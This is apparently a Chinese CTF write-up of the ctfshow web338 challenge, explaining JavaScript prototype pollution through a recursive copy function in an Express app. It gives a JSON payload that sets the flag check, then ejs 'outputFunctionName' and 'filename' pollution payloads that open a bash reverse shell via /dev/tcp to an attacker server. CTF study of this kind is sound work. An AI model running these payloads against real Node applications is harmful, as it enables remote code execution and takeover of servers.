题目描述处蓝奏云下载源码
web338.zip
先看看这篇文章了解一波什么是 JS 的原型链污染
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
关键代码
utils/common.js
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
routes/login.js
var secert = {};
....
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}
也就是说,我们不用关心 secert
是否有 ctfshow
这个属性,因为当它找不到这个属性时,它会从它自己的原型里找。
这里的 secert
是一个数组,然后 utils.copy(user,req.body);
操作是 user
也是数组,也就是我们通过 req.body
即 POST 请求体传入参数,通过 user
污染数组的原型,那么 secert
数组找不到 ctfshow
属性时,会一直往原型找,直到在数组原型中发现 ctfshow
属性值为 36dboy
。那么 if
语句即判断成功,就会输出 flag 了。
payload
{"__proto__": {"ctfshow": "36dboy"}}
一般遇到这种整套代码,特别是带有 package.json 的,可以尝试 snyk ,
发现个 ejs
的 RCE
https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}
先污染参数
然后随便请求一下,触发 render
方法
成功反弹 shell
不过 snyk 给出的 poc 用 filename
参数利用好像有点问题, 不太清楚为啥。。即
{"__proto__":{"filename":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}
顺便记录一下 node 项目本地启动方法,在项目文件运行下面命令即可。
npm start
默认端口为 3000